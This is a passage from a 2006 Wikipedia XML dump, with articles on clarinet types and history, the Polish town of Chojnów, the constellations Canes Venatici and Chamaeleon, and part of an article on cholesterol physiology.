** D clarinet &amp;mdash; Rare in America and western Europe. Occasionally used in orchestral writing (for example, [[Richard Strauss]]'s &quot;[[Till Eulenspiegels lustige Streiche|Till Eulenspiegel's Merry Pranks]]&quot;, [[Gustav Mahler|Mahler]]'s [[Symphony No. 5 (Mahler)|5th symphony]]), but these pieces are usually played on an E&amp;#9837; soprano. More common in eastern Europe.
** C clarinet &amp;mdash; Moderately rare. Was fairly common in the early [[19th century]], with some music by composers such as [[Ludwig van Beethoven|Beethoven]], [[Hector Berlioz|Berlioz]]  and [[Franz Schubert|Schubert]] written for it. C clarinet parts are quite common in Italian music and opera. C parts are often played on a standard B&amp;#9837; or A dependent on key. However, the C clarinet is having somewhat of a resurgence in the orchestral and solo literature.
** B&amp;#9837; clarinet &amp;mdash; This is the standard clarinet used for marching band, orchestra, wind ensemble, and jazz band.
** A clarinet &amp;mdash; Standard orchestral instrument used alongside the B&amp;#9837; Soprano. Orchestral clarinetists almost always equip themselves with a pair of clarinets.  The A clarinet offers a slightly richer tone than the B&amp;#9837;, but the instrument's primary advantage is its greater ease of playing in orchestral repertoire written in keys with many sharps.
** G clarinet &amp;mdash; Also called a &quot;Turkish Clarinet&quot;.  It has a much deeper [[timbre]] than the soprano and is capable of [[Microtonal music|microtones]].  It is primarily used in ethnic music.
** Shackleton lists also obsolete instruments in B and A&amp;#9837;.  The latter and the clarinet in G often occurred as [[clarinette d'amour]] in the mid-18th century.
* [[Basset clarinet]] &amp;mdash; The basset clarinet was written for mainly by [[Mozart]].  It is essentially a soprano clarinet with a range extension to low C (written).
** A basset clarinet &amp;mdash; Most common type.
** Basset clarinets in C, B&amp;#9837;, and G also exist.
* [[Basset horn]] &amp;mdash; This instrument was written for by [[Mozart]] often; his friend [[Anton Stadler]] was an accomplished player.  It is not common in [[wind band]] or [[orchestra]]l music. [[Richard Strauss]] wrote for it in some of his operas, such as [[Elektra (opera)|Elektra]], and wind symphonies.  It differs from the alto in that it has a range to low C and (usually) a smaller bore designed to be played with a soprano mouthpiece.  In appearance, the basset horn is most often distinguished from the alto by the low C extension.
** F basset horn &amp;mdash; Most common type.
** Shackleton lists also basset horns in G and D from the 18th century.
* [[Alto clarinet]] &amp;mdash; About half an octave lower than the B&amp;#9837; clarinet.  Used in marching bands in previous centuries but not as common any more in the traditional setting.  Used in clarinet choirs and some works for concert band.  There is a limited solo repertiore.  This instrument has the advantage of being more easily manufactured, carried and played than the bass clarinet, whilst retaining some of the appealing tonal character of the larger instrument.
** F alto clarinet &amp;mdash; While the F Alto shares some design features of the basset horn, the alto has a range only to low E&amp;#9837; (written) and presents a larger bore than most basset horns. 
** E&amp;#9837; alto clarinet &amp;mdash; Most common type.
* [[Bass clarinet]] &amp;mdash; About an octave below the B&amp;#9837; clarinet.
** B&amp;#9837; bass clarinet &amp;mdash; Commonly used in [[concert band]]s and clarinet choirs; also fairly common in [[orchestra]]l writing, especially of the 20th century. Some marching bands may have marching bass clarinets, but this is rare, as the instrument is heavy and can be awkward and difficult to carry on the field. [http://home.arcor.de/wichtigstesregister/pagbkls.mp3 MP3 Sample]
** A bass clarinet &amp;mdash; Obsolete. An octave below the A soprano. No longer manufactured, music for it occurs chiefly in works by [[Richard Wagner|Wagner]] and [[Gustav Mahler|Mahler]]; players must transpose and play the part on the B&amp;#9837; bass clarinet.
** C bass clarinet &amp;mdash; Obsolete.
* [[Contra-alto clarinet]] &amp;mdash; About an octave below the alto clarinet.
** EE&amp;#9837; contra-alto clarinet &amp;mdash; Fairly common, especially in wind band literature.  Sometimes called the &quot;EE&amp;#9837; Contrabass&quot;. The lower range of the Contra-Alto (as opposed to the B&amp;#9837; Bass Clarinet) can match some of the lower range passages written for [[bassoon]], [[tuba]] and [[double bass]].  Its popularity among players rests in the ease with which one [[transpose]]s parts for bassoon, tuba, and bass (the trick here is to imagine the bass clef as treble clef and take three flats off the key signature, or add three sharps).
* [[Contrabass clarinet]] &amp;mdash; About an octave below the bass clarinet.
** BB&amp;#9837; contrabass clarinet &amp;mdash; Rare, except in large clarinet choirs and wind ensembles. Orchestratively, its usage is primarily supplemental, though some works for concert band and orchestra employ distinct passages expressly for this instrument; the [[contrabassoon]] is sometimes substituted. [http://home.arcor.de/wichtigstesregister/pagkbkl.mp3 MP3 Sample]

Two larger types have been built on an experimental basis:
* EEE&amp;#9837; [[Octocontra-alto clarinet|Octocontra-alto]] &amp;mdash; An octave below the contra-alto clarinet.  Only three were ever built. 
* BBB&amp;#9837; [[Octocontrabass clarinet|Octocontrabass]] &amp;mdash; An octave below the contrabass clarinet. Only one was ever built.  (The only one that exists is in the personal collection of George Leblanc himself.)

== History ==
The clarinet started life as a small instrument called the [[chalumeau]]. Not much is known about this instrument, but it may have evolved from the [[recorder]]. The chalumeau had a similar reed to the modern clarinet, but lacked the register key which extends the range to nearly four octaves, so it had a limited range of about one and a half octaves.  It also lacked certain chromatics. Like a recorder, it had eight finger holes, and usually had one or two keys for extra notes.

In [[1690]], a German instrument maker named [[Johann Christoph Denner]] added a register key to the chalumeau and produced the first clarinet. This instrument played well in the middle register with a loud, strident tone, so it was given the name ''clarinetto''  meaning &quot;little trumpet&quot; (from ''clarino'' + ''-etto''). Early clarinets did not play well in the lower register, so chalumeaus continued to be made to play the low notes and these notes became known as the ''chalumeau register''. As clarinets improved, the chalumeau fell into disuse.

The original Denner clarinets had two keys, but various makers added more to get extra notes. The classical clarinet of [[Wolfgang Amadeus Mozart|Mozart]]'s day would probably have had eight finger holes and five keys.

Clarinets were soon accepted into orchestras. Later models had a mellower tone than the originals. Mozart liked the sound of the clarinet and wrote much music for it, and by the time of [[Ludwig van Beethoven|Beethoven]], the clarinet was a standard fixture in the orchestra.

The next major development in the history of clarinet was the invention of the modern pad. Early clarinets covered the tone holes with felt pads. Because these leaked air, the number of pads had to be kept to a minimum, so the clarinet was severely restricted in what notes could be played with a good tone. In [[1812]], [[Ivan Mueller]], a Russian-born clarinetist and inventor, developed a new type of pad which was covered in leather or fish bladder. This was completely airtight, so the number of keys could be increased enormously. He designed a new type of clarinet with seven finger holes and thirteen keys. This allowed the clarinet to play in any key with near equal ease. Over the course of the 19th century, many enhancements were made to Mueller's clarinet, such as the Albert system and the Baermann system, all keeping the same basic design. The Mueller clarinet and its derivatives were popular throughout the world.

The final development in the modern design of the clarinet was introduced by [[Hyacinthe Klosé]] in [[1839]]. He devised a different arrangement of keys and finger holes which allow simpler fingering. It was inspired by the [[Boehm system]] developed by [[Theobald Boehm]], a flute maker who had invented the system for flutes.  Klosé was so impressed by Boehm's invention that he named his own system for clarinets the Boehm system, although it is different from the one used on flutes. This new system was slow to catch on because it meant the player had to relearn how to play the instrument. Gradually, however, it became the standard and today the Boehm system is used everywhere in the world except Germany and Austria. These countries still use a direct descendant of the Mueller clarinet known as the [[Oehler system]] clarinet. Also, some contemporary Dixieland and Klezmer players continue to use Albert system clarinets, as the simpler fingering system can allow for easier slurring of notes. At one time the reed was held on using string, but now the practice exists primarily in Germany and Austria, where the warmer, ''thicker'' tone is preferred over that produced with the ligatures that are more popular in the rest of the world.

== See also ==
* [[Clarinet makers]] &amp;ndash; lists of makers of clarinets, clarinet mouthpieces, and clarinet reeds.
* [[Clarinetist]] &amp;ndash; a list of some famous clarinet players.
* [[List of jazz clarinetists]].

==References==
* Pino, Dr. David ''The Clarinet and Clarinet Playing.'' Providence: Dover Pubns, 1998, 320 p.; ISBN 0486402703 
* {{GroveOnline|Clarinet|Nicholas Shackleton|21 February|2006}}

== External links ==
{{commons|Clarinet}}
* [http://buffetcrampon.org/ Buffet: A prestigious brand]
* [http://www.woodwind.org/clarinet/Study/FingeringCharts/bbfinger.html B&amp;#9837; clarinet fingering chart]
* [http://hem.passagen.se/eriahl/clarinet.htm Comprehensive list of clarinets]
* [http://www.phys.unsw.edu.au/~jw/clarinetacoustics.html Clarinet acoustics]
* [http://www.wfg.woodwind.org/clarinet/ Comprehensive list of fingerings for Kinderklarinettes and Boehm-, Albert-, and Oehler-system clarinets]
* [http://www.clariperu.org/ Clariperu (Spanish) The clarinet in Latin America]
* [http://www.jean-christian-michel.com/en/clarinet2.html The clarinet from A toZ]

[[Category:Woodwind instruments]]
[[Category:Clarinets]]

{{Link FA|de}}

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  </page>
  <page>
    <title>Chojnów</title>
    <id>6434</id>
    <revision>
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      <timestamp>2006-02-07T23:54:25Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
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      <minor />
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      <text xml:space="preserve">[[Image:Chojnow 021 mala fabryka.jpg|right|thumb|250px|A small factory in Chojnów]]

'''Chojnów''' is small city (as of 2000, 14,900 inhabitants) over [[Skora river]], in land country [[Legnica]], (region [[Dolnoslaskie]], [[Poland]]).
Its average altitude is 170 meters above sea level.

First note about Chojnów is dated [[1272]] (as '''Haynow''' settlement).
In [[1288]] it's called city (''civitas'') in documents of Prince of [[Legnica]] [[Henryk V Gruby]], but no sooner than [[1333]] it gained [[city laws]] (?).

It is located 18 kilometers from [[Legnica]] (east), 26 from [[Boleslawiec]] (west) and 18 from [[Zlotoryja]] (south), 5 kilometers from A4 highway. It has railroad connections to Boleslawiec and Legnica.

The local government-run weekly newspaper is [[Gazeta Chojnowska]], and has been published since [[1992]].

Every year in first days of [[June]], ''Days of Chojnów'' (''Dni Chojnowa'') are celebrated. The Whole-Poland bike race ''Masters'' is organized yearly in Chojnów for the past few years.

Chojnów is an industrial and agricultural city. Among products produced in Chojnów are: paperware, agricultural machinery, chains, metal furniture for hospitals, equipment for the meat industry, beer, wine, leather clothing, clothing for infants, children and adults.

The most interesting monuments of Chojnów are prince of Legnica's castle from the [[13th century]] (currently used as a museum), two old churches, ''Baszta Tkaczy'' (''Weavers' Tower'') and preserved fragments of city walls.

The biggest green area in Chojnów is small forest ''Park Piastowski'' (''Piast's Park''), named after [[Piast dynasty]] as part of Communist anti-German propaganda.

Wild animals that can be found around Chojnów are roe-deers (''sarna'', [[Capreolus capraea]] ?), [[fox|foxes]], [[rabbit|rabbits]] and wild domestic animals, especially cats.

==External links==
{{Commons|Chojnów}}
* City hall home page: http://www.chojnow.net.pl/
* Chojnow Online: http://www.chojnow.pl/
* DMOZ directory: http://www.dmoz.org/World/Polska/Regionalne/Dolny_Śląsk/Chojnów/

[[Category:Towns in Poland]]

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  </page>
  <page>
    <title>Canes Venatici</title>
    <id>6435</id>
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      <minor />
      <comment>/* Possibilty of Planets */</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Canes venatici |
abbreviation = CVn |
genitive = Canum Venaticorum |
symbology = the Hunting Dogs |
RA = 13 |
dec= +40 |
areatotal = 465 |
arearank = 38th |
numberstars = 1 |
starname = [[Cor Caroli]] (&amp;alpha; CVn) |
starmagnitude = 2.90 |
meteorshowers =
*[[Canes Venaticids]] |
bordering =
*[[Ursa Major]]
*[[Boötes]]
*[[Coma Berenices]] |
latmax = 90 |
latmin = 40 |
month = May |
notes=}}

'''Canes Venatici''' ([[Latin]] for ''[[hunting]] [[dog]]s'') is a small northern [[constellation]] that was introduced by [[Johannes Hevelius]] in the [[17th century]]. It is supposed to represent the dogs ''Chara'' and ''Asterion'' held on a leash by [[Boötes]].

==Notable features==
Canes Venatici is one of three constellations that represent dogs, along with [[Canis Major]] and [[Canis Minor]].  The constellation's brightest [[star]] is &amp;alpha; CVn, whose proper name is [[Cor Caroli]], named by [[Edmund Halley]] in memory of the [[England|English]] [[Monarch|King]] [[Charles I of England|Charles I]] or his son, [[Charles II of England|Charles II]].  It is of [[apparent magnitude|magnitude]] 2.90.

Y CVn, sometimes known as &quot;[[La Superba]]&quot;, is a [[semiregular variable star]] that varies between magnitudes 4.7 and 6.2 over a period of around 158 days.  It is a very red star.

==Notable deep sky objects==
Canes Venatici contains five [[Messier object]]s, including five [[galaxy|galaxies]].  One of the more significant galaxies in Canes Venatici is the [[Whirlpool Galaxy]], [[Messier object|M51]] (NGC 5194 and [[Irregular Galaxy NGC 5195|NGC 5195]]), a [[spiral galaxy]] that is seen face on. This was the first galaxy recognised as having a spiral structure, this structure being first observed by [[William Parsons, 3rd Earl of Rosse|Lord Rosse]] in [[1845]].

&lt;!-- Image with unknown copyright status removed: [[Image:m51.arp.500pix.jpg|thumb|200px|left|M51, known as the Whirlpool Galaxy.  The companion galaxy (top of picture) is being disrupted by the gravitational forces of M51.]] --&gt;

Other galaxies in Canes Venatici include the [[Sunflower Galaxy]] (M63 or NGC 5055), [[Spiral Galaxy M94]], and [[Spiral Galaxy M106]],

[[Messier 3]] (M3, or NGC 5272) is a [[globular cluster]].  It is 18&amp;prime; in diameter, and at magnitude 6.3 is bright enough to be seen in [[binoculars]].

==Table of leading stars==
This table lists all stars in Canes Venatici with either a [[Bayer designation]] or a [[Flamsteed designation]].
{| border=&quot;1&quot; style=&quot;clear:both;&quot; cellspacing=&quot;0&quot;
! Common name !! Bayer designation !! Flamsteed designation !! [[Variable star designation|Variable designation]] !! Other designations !! [[Right ascension]] !! [[Declination]] !! Magnitude
|-
| ||      || 2 ||  || ADS  8489 || 12h 16m 07.6s || +40&amp;deg; 39&amp;prime; 37&amp;Prime; || 5.66
|-
| ||      || 3 ||  ||       || 12h 19m 48.7s || +48&amp;deg; 59&amp;prime; 03&amp;Prime; || 5.29
|-
| ||      || 4 || AI ||       || 12h 23m 47.0s || +42&amp;deg; 32&amp;prime; 34&amp;Prime; || 6.06v
|-
| ||      || 5 || Var ||       || 12h 24m 01.5s || +51&amp;deg; 33&amp;prime; 44&amp;Prime; || 4.80v
|-
| ||      || 6 ||  ||       || 12h 25m 50.9s || +39&amp;deg; 01&amp;prime; 07&amp;Prime; || 5.02
|-
| ||      || 7 ||  ||       || 12h 30m 02.9s || +51&amp;deg; 32&amp;prime; 08&amp;Prime; || 6.21
|-
| || [[Beta Canum Venaticorum|&amp;beta;]] || 8 ||  ||       || 12h 33m 44.5s || +41&amp;deg; 21&amp;prime; 27&amp;Prime; || 4.26
|-
| ||      || 9 ||  ||       || 12h 38m 46.3s || +40&amp;deg; 52&amp;prime; 28&amp;Prime; || 6.37
|-
| ||      || 10 ||  ||       || 12h 44m 59.5s || +39&amp;deg; 16&amp;prime; 44&amp;Prime; || 5.95
|-
| ||      || 11 ||  ||       || 12h 48m 41.8s || +48&amp;deg; 28&amp;prime; 01&amp;Prime; || 6.27
|-
| [[Cor Caroli]] || &amp;alpha; || 12 ||  || ADS  8706 || 12h 56m 01.7s || +38&amp;deg; 19&amp;prime; 06&amp;Prime; || 2.90
|-
| ||      || 14 ||  ||       || 13h 05m 44.5s || +35&amp;deg; 47&amp;prime; 56&amp;Prime; || 5.25
|-
| ||      || 15 ||  || ADS  8805 || 13h 09m 42.0s || +38&amp;deg; 32&amp;prime; 02&amp;Prime; || 6.28
|-
| ||      || 17 ||  || ADS  8805 || 13h 10m 03.2s || +38&amp;deg; 29&amp;prime; 56&amp;Prime; || 5.91
|-
| ||      || 19 ||  ||       || 13h 15m 32.0s || +40&amp;deg; 51&amp;prime; 19&amp;Prime; || 5.79
|-
| ||      || 20 || AO ||       || 13h 17m 32.5s || +40&amp;deg; 34&amp;prime; 21&amp;Prime; || 4.73v
|-
| ||      || 21 || BK ||       || 13h 18m 14.5s || +49&amp;deg; 40&amp;prime; 55&amp;Prime; || 5.15v
|-
| ||      || 23 ||  ||       || 13h 20m 19.0s || +40&amp;deg; 09&amp;prime; 02&amp;Prime; || 5.60
|-
| ||      || 24 ||  ||       || 13h 34m 27.3s || +49&amp;deg; 00&amp;prime; 58&amp;Prime; || 4.70
|-
| ||      || 25 ||  || ADS  8974 || 13h 37m 27.6s || +36&amp;deg; 17&amp;prime; 42&amp;Prime; || 4.82
|-
|}
Source: ''The Bright Star Catalogue, 5th Revised Ed.''

== Possibilty of Planets ==
Canes Venatici constellation has been selected a a strong candidate for planets. [[Margaret Turnbull]], an astronomer at the Carnagie Institution of Washington, has recommended SETI's radio telescopes scans. (see [http://www.stltoday.com/stltoday/news/stories.nsf/stlouiscitycounty/story/B9223C0D00A224D38625711A00286766?OpenDocument Is beta CVn lively]).

==Stars==
:Stars with proper names:
:* (12/&amp;alpha; CVn) 2.89 (&amp;alpha;&lt;sup&gt;2&lt;/sup&gt;), 5.61 (&amp;alpha;&lt;sup&gt;1&lt;/sup&gt;) '''[[Cor Caroli]]''' or '''''Chara'''''? 
:*: = The heart of Charles II  [the star brightened after his coronation]
::* The brighter star [[Alpha2 Canum Venaticorum|&amp;alpha;&lt;sup&gt;2&lt;/sup&gt; CVn]] is the prototype of [[Alpha2 CVn variable|&amp;alpha;&lt;sup&gt;2&lt;/sup&gt; CVn variable]] stars (magnetic spectrum stars)
:* ([[Beta Canum Venaticorum|8/&amp;beta; CVn]]) 4.26 '''Chara''' or '''''Asterion'''''? &amp;ndash; nearby star
:*: &lt; &amp;#967;&amp;#945;&amp;#961;&amp;#940;  Joy, dear
:* ([[La Superba|Y CVn]]) 4.99 '''La Superba''' &amp;ndash; carbon star
:Stars with Bayer designations:
:: 
:Stars with Flamsteed designations:
::[[1 Canum Venaticorum|1 CVn]] 6.18; [[2 Canum Venaticorum|2 CVn]] 5.69; [[3 Canum Venaticorum|3 CVn]] 5.28; [[4 Canum Venaticorum|4 CVn]] 6.03; [[5 Canum Venaticorum|5 CVn]] 4.76; [[6 Canum Venaticorum|6 CVn]] 5.01; [[7 Canum Venaticorum|7 CVn]] 6.21; [[9 Canum Venaticorum|9 CVn]] 6.35; [[10 Canum Venaticorum|10 CVn]] 5.95; [[11 Canum Venaticorum|11 CVn]] 6.25; [[14 Canum Venaticorum|14 CVn]] 5.20; [[15 Canum Venaticorum|15 CVn]] 6.25; [[17 Canum Venaticorum|17 CVn]] 5.91; [[19 Canum Venaticorum|19 CVn]] 5.77; [[20 Canum Venaticorum|20 CVn]] 4.72; [[21 Canum Venaticorum|21 CVn]] 5.14; [[23 Canum Venaticorum|23 CVn]] 5.60; [[24 Canum Venaticorum|24 CVn]] 4.68; [[25 Canum Venaticorum|25 CVn]] 4.82
{{ConstellationsByHevelius}}
{{ConstellationList}}

== External links ==
{{Commons|Canes Venatici}}
* [http://www.allthesky.com/constellations/canesvenatici/ The Deep Photographic Guide to the Constellations: Canes Venatici]

[[Category:Canes Venatici constellation| ]]

[[ca:Llebrers (constel·lació)]]
[[cs:Honící psi (souhvězdí)]]
[[da:Jagthundene]]
[[de:Jagdhunde (Sternbild)]]
[[es:Canes Venatici]]
[[fr:Chiens de chasse]]
[[ko:사냥개자리]]
[[id:Canes Venatici]]
[[it:Canes Venatici]]
[[la:Canes Venatici (sidus)]]
[[lt:Skalikai]]
[[hu:Vadászebek (csillagkép)]]
[[nl:Jachthonden]]
[[ja:りょうけん座]]
[[nn:Jakthundane]]
[[pl:Psy Gończe (gwiazdozbiór)]]
[[pt:Canes Venatici]]
[[ru:Гончие Псы (созвездие)]]
[[sk:Súhvezdie Poľovné psy]]
[[fi:Ajokoirat]]
[[sv:Jakthundarna]]
[[th:กลุ่มดาวหมาล่าเนื้อ]]</text>
    </revision>
  </page>
  <page>
    <title>Chamaeleon</title>
    <id>6436</id>
    <revision>
      <id>42044544</id>
      <timestamp>2006-03-03T12:19:22Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Chamaeleon |
abbreviation = Cha |
genitive = Chamaeleontis |
symbology = [[Chameleon]] |
RA = 11 |
dec= &amp;minus;80 |
areatotal = 132 |
arearank = 79th |
numberstars = 0 |
starname = &amp;gamma; Cha |
starmagnitude = 4.1 |
meteorshowers = None |
bordering =
*[[Musca]]
*[[Carina (constellation)|Carina]]
*[[Volans]]
*[[Mensa (constellation)|Mensa]]
*[[Octans]]
*[[Apus]] |
latmax = 0 |
latmin = 90 |
month = April |
notes=}}
{{dablink|For other uses of the word, see '''[[chameleon (disambiguation)]]'''}}
'''Chamaeleon''' ([[Latin]] for ''[[chameleon]]'') is a minor southern [[constellation]]. The constellation was one of twelve constellations created by [[Pieter Dirkszoon Keyser]] and [[Frederick de Houtman]] between [[1595]] and [[1597]], and it first appeared in [[Johann Bayer]]'s ''[[Uranometria]]'' of [[1603]]. 

==Notable Stars==
===Stars with Bayer designations===
* [[Alpha Chamaeleontis|&amp;alpha; Cha]] 4.05; [[Beta Chamaeleontis|&amp;beta; Cha]] 4.24; [[Gamma Chamaeleontis|&amp;gamma; Cha]] 4.11; [[Delta1 Chamaeleontis|&amp;delta;&lt;sup&gt;1&lt;/sup&gt; Cha]] 5.46; [[Delta2 Chamaeleontis|&amp;delta;&lt;sup&gt;2&lt;/sup&gt; Cha]] 4.45; [[Epsilon Chamaeleontis|&amp;epsilon; Cha]] 4.88; [[Zeta Chamaeleontis|&amp;zeta; Cha]] 5.07; [[Theta Chamaeleontis|&amp;theta; Cha]] 4.34; [[Eta Chamaeleontis|&amp;eta; Cha]] 5.46; [[Iota Chamaeleontis|&amp;iota; Cha]] 5.34; [[Kappa Chamaeleontis|&amp;kappa; Cha]] 5.04; [[Mu Chamaeleontis|&amp;mu; Cha]] 5.53; [[Mu2 Chamaeleontis|&amp;mu;&lt;sup&gt;2&lt;/sup&gt; Cha]] 6.60; [[Nu Chamaeleontis|&amp;nu; Cha]] 5.43; [[Pi Chamaeleontis|&amp;pi; Cha]] 5.64
===Stars with Flamsteed designations===
* [[9 Chamaeleontis|9 Cha]] 6.05

==Notable Deep-sky Objects==

In 1999, a nearby [[open cluster]] was discovered centered on the bright star [[Eta Chamaeleontis]]. The cluster, known as either
the &quot;eta Chamaeleontis cluster&quot; or &quot;Mamajek 1&quot; is 6 million years old, and lies 316 [[light years]] from Earth.

The constellation contains a number of [[molecular clouds]] (called the &quot;Chamaeleon dark clouds&quot;) that are forming low-mass [[T Tauri star]]s.
The cloud complex lies some 400 to 600 [[light years]] from Earth, and contains tens of thousands of solar masses of gas and dust.

==History==
Since it is an invention of the 17th century and was not visible to early [[Mediterranean]] [[culture]]s, there is no [[mythology]] associated with it.

==Mythology==

==See also==

{{ConstellationsByBayer}}
{{ConstellationList}}

==References==

== External links ==
{{Commons|Chamaeleon}}
* [http://www.allthesky.com/constellations/chamaeleon/ The Deep Photographic Guide to the Constellations: Chamaeleon]
* [http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1999ApJ...516L..77M&amp;amp;db_key=AST&amp;amp;data_type=HTML&amp;amp;format=&amp;amp;high=43a3b4e6f826104 &quot;The eta Chamaeleontis Cluster: A Remarkable New Nearby Young Open Cluster&quot; (Mamajek, Lawson, &amp; Feigelson 1999)]]
* [http://www.univie.ac.at/webda/cgi-bin/ocl_page.cgi?dirname=mam01 &quot;WEBDA open cluster database entry for Mamajek 1&quot;]]
[[Category:Chamaeleon constellation| ]]

[[ca:Camaleó (constel·lació)]]
[[da:Kamæleonen]]
[[de:Chamäleon (Sternbild)]]
[[es:Chamaeleon]]
[[fr:Caméléon (constellation)]]
[[ko:카멜레온자리]]
[[it:Chamaeleon]]
[[la:Chamaeleon (sidus)]]
[[lt:Chameleonas (astronomija)]]
[[hu:Kaméleon (csillagkép)]]
[[nl:Kameleon (sterrenbeeld)]]
[[ja:カメレオン座]]
[[nn:Kameleonen]]
[[pl:Kameleon (gwiazdozbiór)]]
[[pt:Chamaeleon]]
[[ru:Хамелеон (созвездие)]]
[[sk:Súhvezdie Chameleón]]
[[sv:Kameleonten]]
[[th:กลุ่มดาวกิ้งก่าคะมีเลียน]]
[[zh:堰蜒座]]</text>
    </revision>
  </page>
  <page>
    <title>Cholesterol</title>
    <id>6437</id>
    <revision>
      <id>41582520</id>
      <timestamp>2006-02-28T07:54:29Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.198.3.212|82.198.3.212]] ([[User talk:82.198.3.212|talk]]) to last version by Elkman</comment>
      <text xml:space="preserve">[[Image:Cholesterol.png|240px|thumb|right|Cholesterol chemical structure]]

'''Cholesterol''' is a [[sterol]] (a combination steroid and alcohol) and a [[lipid]] found in the [[cell membrane]]s of all [[human body|body]] tissues, and transported in the [[blood]] plasma of all [[animal]]s. The name originates from the Greek ''chole-'' ([[bile]]) and  ''stereos'' (solid), and the chemical suffix ''-ol'' for an [[alcohol]], as researchers first identified cholesterol (C&lt;sub&gt;27&lt;/sub&gt;H&lt;sub&gt;45&lt;/sub&gt;OH) in solid form in [[gallstone]]s in [[1784]].

Most cholesterol is not dietary in origin, it is synthesized internally. Cholesterol is present in higher concentrations in tissues which either produce more or have more densely-packed membranes, for example, the [[liver]], [[spinal cord]] and [[brain]], and also in [[atheroma]]. Cholesterol plays a central role in many [[biochemistry|biochemical]] processes, but is best known for the association of [[cardiovascular disease]] with various [[lipoprotein]] cholesterol transport patterns and [[hypercholesterolemia|high levels of cholesterol]] in the blood.

Often, when most doctors talk to their patients about the health concerns of cholesterol, they are referring to &quot;bad cholesterol&quot;, or [[low-density lipoprotein]] (LDL). &quot;Good cholesterol&quot; is [[high-density lipoprotein]] (HDL). 

== Physiology ==
=== Function ===

Cholesterol is required to build and maintain [[cell membrane]]s; it makes the membrane's fluidity - degree of [[viscosity]] -  stable over bigger temperature intervals (the hydroxyl group on cholesterol interacts with the phosphate head of the membrane, and the bulky steroid and the hydrocarbon chain is embedded in the membrane). Cholesterol also aids in the manufacture of [[bile]] (which helps digest fats), and is also important for the metabolism of fat soluable vitamins, including vitamins [[vitamin A|A]], [[vitamin D|D]], [[vitamin E|E]] and [[vitamin K|K]].   It is the major precursor for the synthesis of [[vitamin D]], of the various [[steroid hormone]]s, including [[cortisol]] and [[aldosterone]] in the [[adrenal gland]]s, and of the sex hormones [[progesterone]], [[estrogen]], and [[testosterone]]. Further recent research shows that cholesterol has an important role for the brain [[synapse]]s as well as in the [[immune system]], including protecting against cancer.

Recently, cholesterol has also been implicated in cell signalling processes, where it has been suggested that it forms [[lipid rafts]] in the [[plasma membrane]]. It also reduces the permeability of the plasma membrane to proton and sodium ions (Haines 2001).

=== Properties ===
Cholesterol is minimally soluble in [[water]]; it cannot dissolve and travel in the water-based bloodstream. Instead, it is transported in the bloodstream by [[lipoprotein]]s -
protein &quot;molecular-suitcases&quot; that are water-soluble and carry cholesterol and fats internally. The proteins forming the surface of the given lipoprotein particle determine from what cells cholesterol will be removed and to where it will be supplied.

The largest lipoproteins, which primarily transport fats from the [[intestine|intestinal]] mucosa to the liver, are called [[chylomicron]]s. They carry mostly [[triglyceride]] fats and cholesterol (that from food and especially internal cholesterol secreted by the liver into the bile). In the [[liver]], chylomicron particles give up triglycerides and some cholesterol, and are converted into [[low-density lipoprotein]] (LDL) particles, which carry triglycerides and cholesterol on to other body cells. In healthy individuals the LDL particles are large and relatively few in number. In contrast, large numbers of small LDL particles are strongly associated with promoting [[atheroma]]tous disease within the arteries. (Lack of information on LDL particle number and size is one of the major problems of conventional lipid tests.)

[[High-density lipoprotein]] (HDL) particles transport cholesterol back to the liver for excretion, but vary considerably in their effectiveness for doing this. Having large numbers of large HDL particles correlates with better health outcomes. In contrast, having small amounts of large HDL particles is strongly associated with [[atheroma]]tous disease progression within the arteries. (Note that the concentration of total HDL does not indicate the actual number of functional large HDL particles, another of the major problems of conventional lipid tests.)

The cholesterol molecules present in ''LDL cholesterol'' and ''HDL cholesterol'' are identical. The difference between the two types of cholesterol derives from the carrier protein molecules; the [[lipoprotein]] component.

=== Synthesis and intake ===
[[Image:HMG-CoA reductase pathway.png|280px|thumb|right|The HMG-CoA reductase pathway]]Cholesterol is primarily synthesized from [[acetyl CoA]] through the [[HMG-CoA reductase pathway]] in many [[cell (biology)|cell]]s and [[biological_tissue|tissues]]. About 20&amp;ndash;25% of total daily production (~1 [[gram|g]]/[[day]]) occurs in the [[liver]]; other sites of higher synthesis rates include the [[intestines]], [[adrenal gland]]s and [[reproductive organ]]s. For a person of about 150 pounds (68 kg), typical total body content is about 35 [[gram|g]], typical daily internal production is about 1 g and typical daily dietary intake is 200 to 300 mg. Of the 1,200 to 1,300 mg input to the intestines (via bile production and food intake), about 50% is reabsorbed into the bloodstream.

[[Konrad Bloch]] and [[Feodor Lynen]] shared the [[Nobel Prize in Physiology or Medicine]] in [[1964]] for their discoveries concerning the mechanism and regulation of the cholesterol and fatty acid metabolism.

=== Regulation ===
Biosynthesis of cholesterol is directly regulated by the cholesterol levels present, though the [[homeostasis|homeostatic]] mechanisms involved are only partly understood. A higher intake from food leads to a net decrease in endogenous production, while lower intake from food has the opposite effect. The main regulatory mechanism is the sensing of [[intracellular]] cholesterol in the [[endoplasmic reticulum]] by the [[protein]] SREBP (Sterol Regulatory Element Binding Protein 1 and 2). In the presence of cholesterol, SREBP is bound to two other proteins: SCAP (SREBP-cleavage activating protein) and Insig-1. When cholesterol levels fall, Insig-1 dissociates from the SREBP-SCAP complex, allowing the complex to migrate to the [[Golgi apparatus]], where SREBP is cleaved by S1P and S2P (site 1/2 protease), two enzymes that are activated by SCAP when cholesterol levels are low. The cleaved SREBP then migrates to the nucleus and acts as a [[transcription factor]] to bind to the [[SRE]] ([[Sterol regulatory element]]) of a number of genes to stimulate their [[transcription]]. Among the genes transcribed are the [[LDL receptor]] and [[HMG-CoA reductase pathway|HMG-CoA reductase]]. The former scavenges circulating LDL from the bloodstream, whereas HMG-CoA reductase leads to an increase of endogenous production of cholesterol. An excess of cholesterol can build up in the bloodstream and accumulates on the walls of arteries. This build up is what can lead to clogged ateries and eventually to heart attacks and strokes.  
 
A large part of this mechanism was clarified by Dr [[Michael S. Brown]] and Dr [[Joseph L. Goldstein]] in the [[1970s]]. They received the [[Nobel Prize in Physiology or Medicine]] for their work in [[1985]].

